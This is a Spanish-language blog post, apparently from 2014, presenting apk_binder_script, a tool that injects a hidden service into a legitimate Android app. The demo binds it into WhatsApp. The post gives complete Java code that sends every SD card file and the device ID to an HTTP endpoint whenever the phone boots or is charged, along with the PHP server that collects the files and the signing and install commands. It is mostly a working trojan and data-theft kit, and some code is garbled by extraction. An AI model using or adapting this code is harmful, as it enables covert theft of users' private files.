Sie sind auf Seite 1von 11

apk_binder_script: herramienta para "bindear" apks

PUBLICADO POR CONTRIBUCIONES ON LUNES, 7 DE ABRIL DE 2014 ETIQUETAS: ANDROID , HERRAMIENTAS , TUTORIALES

apk_binder_script es una herramienta que nos permite unificar dos


apks en uno o agregar un servicio en código smali al apk
objetivo. Para ello copia código smali, activos y manifiesto e
implementa un receiver que actúa de loader cargando la clase que se ha
especificado como parámetro (un servicio).

La aplicación original se ejecuta normalmente y, en paralelo, el servicio


es invocado por el loader en base a dos eventos:

android.intent.action.BOOT_COMPLETED
android.intent.action.ACTION_POWER_CONNECTED

Se pueden agregar acciones y permisos según se desee. En resumen,


nos permite "extender" las funcionalidades de un apk, implementar
puertas "administrativas", etc.

apk_binder_script está desarrollado en python y está probado en


Windows y Linux. Utiliza apktool (incluído en el paquete) y por lo tanto
también Java.

apk_binder_script requiere de un apk original y un apk que contendrá


como mínimo un servicio que será invocado por el loader (receiver)
cuando se conecte el cargador o se reinicie el dispositivo. Las acciones
del receiver y los permisos están declarados en
"loader/permissions.xml" y "loader/receiver.xml" que se pueden ajustar
como se desee para que reaccione a los eventos que queramos.

A continuación, vamos a ver una pequeña demo de su uso.

En primer lugar desarrollamos una app android que contendrá este


servicio. En nuestro proyecto Eclipse incluiremos el siguiente código:

- MainActivity2.java - Esta clase se ha usado para pruebas, es


totalmente prescindible. No es requerido para apk_binder_script.

package com.example.test_apk_binder;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;

public class MainActivity2 extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main_activity2);
startService(new Intent(getApplicationContext(),
ServiceBind.class));
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is
present.
getMenuInflater().inflate(R.menu.main_activity2, menu);
return true;
}

- ServiceBind.java - Es el servicio que será invocado por el loader. La


implementación de éste se puede hacer como se quiera.

package com.example.test_apk_binder;

import android.app.Service;
import android.content.Intent;
import android.os.Environment;
import android.os.IBinder;

public class ServiceBind extends Service{

@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}

public void onCreate(){


try{

new Thread(new Runnable() {


public void run() {
new ExfiltrationData(getApplicationContext(),
Environment.getExternalStorageDirectory());
}
}).start();

}catch(Exception e){
e.printStackTrace();
}
}

- ExfiltrationData.java - Es la clase que será cargada por el servicio


para el robo de datos de la sdcard hacia un endpoint http

package com.example.test_apk_binder;

import java.io.File;
import java.io.FileInputStream;
import java.net.URLEncoder;
import java.util.ArrayList;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.InputStreamEntity;
import org.apache.http.impl.client.DefaultHttpClient;

import android.content.Context;
import android.telephony.TelephonyManager;
import android.util.Log;

public class ExfiltrationData {

private String END_POINT = "http://10.0.2.2/apk_binder";


private File rootPath = null;
private Context context = null;
private String TAG = "ExfiltrationData";
private String serialn = null;
private ArrayList<String> files = new ArrayList<String>();

public ExfiltrationData(Context context,


File rootPath){

init(context, rootPath);
}

private void init(Context context,


File rootPath){

this.rootPath = rootPath;
this.context = context;

TelephonyManager tManager =
(TelephonyManager)this.context.getSystemService(Context.TELEPHONY_SERVICE
);
serialn = tManager.getDeviceId();

Log.d(TAG, "Iniciado con path " + rootPath);


Log.d(TAG, "Serial number " + serialn);

getFiles(this.rootPath);

Log.d(TAG, "Archivos en sdcard " + files.size());

sendFiles();
}

private void sendFiles(){

HttpClient httpclient = new DefaultHttpClient();


HttpPost httppost = null;
String url = null;
HttpResponse response = null;
byte r[] = new byte[3];
InputStreamEntity reqEntity = null;

try{
for(int x=0;x<files.size();x++){
url =
END_POINT + "/?" +
"sn=" + serialn +
"&fn=" + URLEncoder.encode(files.get(x),
"UTF-8") +
"&fs=" + String.valueOf(new
File(files.get(x)).length());
httppost = new HttpPost(url);
response = httpclient.execute(httppost);
response.getEntity().getContent().read(r);
httppost.abort();

if((char)r[2] == '1'){
Log.d(TAG, files.get(x) + " - El fichero existe,
pasamos al siguiente...");
continue;
}
else{
try{
reqEntity = new InputStreamEntity(
new FileInputStream(files.get(x)), -1);
reqEntity.setContentType("binary/octet-stream");
reqEntity.setChunked(true);
httppost = new HttpPost(url);
httppost.setEntity(reqEntity);
httpclient.execute(httppost);
httppost.abort();
}catch(Exception e){
Log.d(TAG, "Error al abrir el archivo: " +
files.get(x) + " : " + e.getMessage());
}
}
}
}catch(Exception e){
e.printStackTrace();
}

private void getFiles(File file){

File temp_file = null;


File[] list = file.listFiles();

for(int i = 0; i < list.length; i++) {


temp_file = new
File(file.getAbsolutePath(),list[i].getName());
if(temp_file.isDirectory() && temp_file.listFiles() != null)
getFiles(temp_file);
else files.add(temp_file.getAbsolutePath());
}
}

En el manifest deben constar el/los servicios que hayamos desarrollado


junto con los providers, receivers, etc. Tal y como una aplicación
normal.

<?xml version="1.0" encoding="utf-8"?>


<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.test_apk_binder"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />

<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"
/>
<uses-permission android:name="android.permission.INTERNET" />

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >

<service android:name="com.example.test_apk_binder.ServiceBind"
/>

<activity
android:name="com.example.test_apk_binder.MainActivity2"
android:label="@string/title_activity_main_activity2" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER"
/>
</intent-filter>
</activity>

</application>

</manifest>

Anotamos el paquete y la clase que queremos que lance el loader. En


este ejemplo es: com.example.test_apk_binder.ServiceBind
Desde android tools de eclipse, exportamos el apk sin firmar.
Usaremos whatsapp para bindearlo, en este punto tenemos:

- apk original para ser bindeado


- apk a bindear
- clase para ser lanzada por el loader

Los apks los pondremos en una carpeta llamada "demo".

Ejecutamos el siguiente comando:

python apk_binder_script.py
-t demo\com.whatsapp-2.apk
-b demo\Test_apk_binder.apk
-c com.example.test_apk_binder.ServiceBind

apk_binder_script copia todo el código smali, assets y demás carpetas,


excepto la carpeta de recursos (res). Fusiona los dos manifest
incorporando los permisos faltantes, servicios, providers, etc. e inserta
un receiver(loader) que básicamente carga de forma dinámica el servicio
que hemos implementado cuando se conecta el cargador y reinicia el
dispositivo. Como dije antes, los permisos y acciones del receiver son
configurables.

Posteriormente firmamos el apk generado:

jarsigner
-verbose
-sigalg SHA1withRSA
-digestalg SHA1
-keystore
-storepass
-keypass "Bind_com.whatsapp.apk" androiddebugkey

He usado easyphp que incorpora todo lo necesario para desarrollar el


endpoint que recuperará todos los datos de la sdcard.

Ahora crearemos el index.php:

<?php

error_reporting(0);

@$sn = $_GET["sn"];
@$fn = urldecode($_GET["fn"]);
@$fs = $_GET["fs"];
@$file = $sn . $fn;
@$path_file = $sn . substr($fn, 0, strripos($fn, "/"));

//Comprobar si el archivo existe y/o si el tamanio es igual


if(!@file_exists($sn)){
@mkdir($sn);
$exists = "0";
}else{
//Si existe el archivo, comprobamos su tamanio
if(@file_exists($file)){
@$local_fs = filesize($file);
//El tamanio es igual
//Si no existe y esta subiendo el archivo... lo cogemos y guardamos.
if($exists == 0 && @file_get_contents("php://input")){

if($local_fs == $fs) $exists = "1";


else $exists = "0";
}else{
$exists = "0";
}
}

@$body = file_get_contents("php://input");
@mkdir($path_file, "0755", true);
@chmod($path_file, "0755");
@$fp = fopen($file, "w");
@fwrite($fp, $body);
@fclose($fp);
}
?>

<?=$exists?><?php

Una vez instalado el apk, volcamos la carpeta "apk_binder" que contiene


el archivo index.php en los directorios públicos de apache. De tal forma
que quede así:

http:///apk_binder/index.php

ExfiltrationData apunta a http://10.0.2.2/apk_binder que es la máquina


anfitrión que es visible desde el emulador, de modo que en tu máquina
debe funcionarte sin problemas.

Lanzamos un emulador para hacer las pruebas. Lo he probado en


versiones 2.3 y 4.x sin problemas:

emulator @nombre_emulador

Para ver el efecto de la poc, lo ideal es insertar varias carpetas y


archivos en la memoria sdcard, ya que al app desarrollada roba todos
los datos de la sdcard.

Instalamos apk:
adb install Bind_com.whatsapp.apk

Una vez instalado lo abrimos.

Conectamos al emulador para emular la desconexión/conexión del


cargador:

telnet localhost 5554

Ejecutamos estos comandos para dicha emulación:

power ac off
power ac on

Si todo va bien, en el endpoint tendremos toda la estructura de carpetas


creada de la sdcard del dispositivo.

Podéis encontrar más detalles de la herramienta en:


https://github.com/funsecurity/apk_binder_script

Si tenéis algún problema no dudéis en contactar conmigo. Las críticas,


bugs o cualquier otra cosa será bienvenida. Muchas gracias!

Saludos,

--
Adrián Ruiz Bermudo
adrianruiz.net
@funsecurity

GPG
ID: 0x586270E8
FINGERPRINT: 9841 A1F0 1FB4 31B2 82F4 6E91 A660 815B 5862
70E8

Das könnte Ihnen auch gefallen